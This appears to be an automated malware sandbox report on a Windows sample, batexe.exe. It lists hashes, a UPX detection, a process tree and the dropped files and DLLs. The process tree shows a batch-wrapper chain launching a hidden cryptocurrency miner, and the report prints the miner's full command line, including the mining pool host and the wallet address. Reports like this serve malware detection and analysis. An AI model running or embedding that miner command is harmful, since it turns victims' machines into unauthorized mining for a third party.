73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
307s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
24/02/2024, 03:27

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
3528	b2e.exe
5104	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
5104	cpuminer-sse2.exe
5104	cpuminer-sse2.exe
5104	cpuminer-sse2.exe
5104	cpuminer-sse2.exe
5104	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4652-6-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4652 wrote to memory of 3528	4652	batexe.exe	74
PID 4652 wrote to memory of 3528	4652	batexe.exe	74
PID 4652 wrote to memory of 3528	4652	batexe.exe	74
PID 3528 wrote to memory of 928	3528	b2e.exe	75
PID 3528 wrote to memory of 928	3528	b2e.exe	75
PID 3528 wrote to memory of 928	3528	b2e.exe	75
PID 928 wrote to memory of 5104	928	cmd.exe	78
PID 928 wrote to memory of 5104	928	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4652
- C:\Users\Admin\AppData\Local\Temp\D6B9.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\D6B9.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\D6B9.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3528
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\DAFE.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:928
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:5104

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\D6B9.tmp\b2e.exe

Filesize
6.1MB

MD5
12689c6eb8285d78d3d9bf37ba3e1cdf

SHA1
b3d8ad5ed28e003cbbf00053ea63612baa96ee33

SHA256
fccbe60c5e3d598f7ae6b29817a5b17f91141363bdf6313596afc0f9240bb374

SHA512
96796e69aa6c20485efc6e7df75073909097e277aa9f5c298356ffe2e101ce65053d984e22baed3c008f70c7b1c8379444839ebf2a222d9cfa075ba3154a365d

Download Submit
C:\Users\Admin\AppData\Local\Temp\D6B9.tmp\b2e.exe

Filesize
6.9MB

MD5
c5442fc5833ef07f0bbaff02c7ed5b46

SHA1
c8defd454b839e3bd4f8dfe87193df7cbeaa2890

SHA256
bbfa4d8d70fb728fb478d90c888bffd05a4ccf7f7b01e9891c02463a3cae433f

SHA512
5e552ea752d94b31fceb0ac57de9901f0a4cf310083c39ba191c9b9e52744697ce963b5d0c002b2221f7fd1e82c651fd17f6d832b4a79b344b748e206385e0b6

Download Submit
C:\Users\Admin\AppData\Local\Temp\DAFE.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
175KB

MD5
421e4021d9c9c75b1657d0f2e6f66f5d

SHA1
e111d060c88e5f0c2393ef2aa4bfcc3116cd5910

SHA256
c6dc8ee7bcefce673296f87adf6c965eb2369c0208017abf0acb11521277b19a

SHA512
63de81662bb96288659eec4cfe45aafbea8b0b89e5c9810087c676135d34f429a8a18435bbf2088deb9bb577ae083c9adddca60bbd52d9e99d47dcba3416328a

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
57KB

MD5
64968247286b64688de0b75553f688bf

SHA1
6f798a947c22dfa41f91d65ad9d87e42d6f7d196

SHA256
4caa70964618e1d2a1778da3bf6bfa1a50d3cfbb61572517e8cf8416b96c65a2

SHA512
a8533d40dbb38fba66b6f3e89c3085d457ce93a98a18f3276b85436f74581a877116fcb35faddd77dd929a6561ecad5209226a013b0dd8f52da82c7fcff944fa

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.6MB

MD5
fccc6c49cc8dda0b58a98e18cfc09e97

SHA1
f35fddddd40001be522cddb0cbc88bab17ada04d

SHA256
a31d7ee3bc41bdc6aabb67b0ff610812cce95a3608f7896ed8fe00c63a95b8b2

SHA512
b0e4f0660af742248ed40dd13c27ca57d71bafc7a840511debb215a2a533ff25db739fb0dbbb809c9c17c9c57c20b001410ddf75740b29b3d0f9ebe27837125a

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.1MB

MD5
0cbda18ae83dd252dbe506879b569974

SHA1
9b87384d50186a4f2300c958824b9c58e5ac1f8d

SHA256
d5d492fc7242b8d061ee78088cd91b34a8b03f51ac75a2b60472f58e8ccf3539

SHA512
5e7d27512722c989039e9418a6e6d375e15f6cc12317f774c126f8c434f8d30f796c7ad74c8d791d8d5e2e2f09300ddcd19f7d8b7374d4dbc0c9434d81d4c144

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.2MB

MD5
4d26e0f4033a6ee65913a1920569ba7b

SHA1
d67fbd8927a018afc0fb11c42815981599cd9adf

SHA256
695a54d123e876b3fc9aca32dfca87a06523b35f37cc4be0e72421c077d9b1c5

SHA512
48cb81d3bafa8ae8febb9be189e36dd0a6862b51d4a2f714c4f879e5ab997fed585994f94c2bc0c21c809268e85eed6e9f0bc95cdb2cde60f14cbb38daabb629

Download Submit
memory/3528-4-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3528-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4652-6-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/5104-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5104-42-0x0000000069FA0000-0x000000006A038000-memory.dmp

Filesize
608KB

Download
memory/5104-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/5104-44-0x00000000010B0000-0x0000000002965000-memory.dmp

Filesize
24.7MB

Download
memory/5104-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/5104-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5104-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5104-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5104-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5104-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5104-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5104-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5104-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5104-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download